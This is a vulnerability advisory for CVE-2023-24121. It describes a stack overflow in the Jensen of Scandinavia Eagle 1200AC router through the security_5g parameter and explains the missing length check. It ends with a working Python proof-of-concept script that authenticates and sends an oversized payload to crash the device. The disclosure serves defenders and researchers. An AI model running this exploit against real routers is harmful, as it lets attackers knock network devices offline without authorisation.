CVE-2023-24121: [CVE-2023-24121] DoS via security_5g parameter in Eagle 1200ac

[CVE-2023-24121] DoS via security_5g parameter in Eagle 1200ac****Description

Jensen of Scandinavia Eagle 1200AC V15.03.06.33_en was discovered to contain a stack overflow via the security_5g parameter at /goform/WifiBasicSet.

Additional information

In the handler function for action /goform/WifiBasicSet (formWifiBasicSet), the user-controlled string security_5g is stored into wl5g.extra.security via SetValue.

When then calling /goform/WifiBasicGet (formWifiBasicGet), the string is loaded from wl5g.extra.security and then stored into stack buffer wifi_buf_entry. Because the length of security_5g is not checked, the stack buffer can be overflowed if it is a large string.

PoC script:

import requests

IP="192.168.38.1"

logindata = {
"username":"admin",
"password":"81dc9bdb52d04dc20036dbd8313ed055"
}

def login():
    for i in range(10):
        session = requests.Session()
        res = session.post(f"http://{IP}/login/Auth", data=logindata)
        try:
            passwd = session.cookies["password"]
            return passwd
        except:
            pass

session = requests.Session()
session.cookies.set("password",login())

payload = {"security_5g" : "A"*(0x800)}

res = session.post(f"http://{IP}/goform/WifiBasicSet", data=payload)
print(res.status_code)

res = session.post(f"http://{IP}/goform/WifiBasicGet")
print(res.text)
print(res)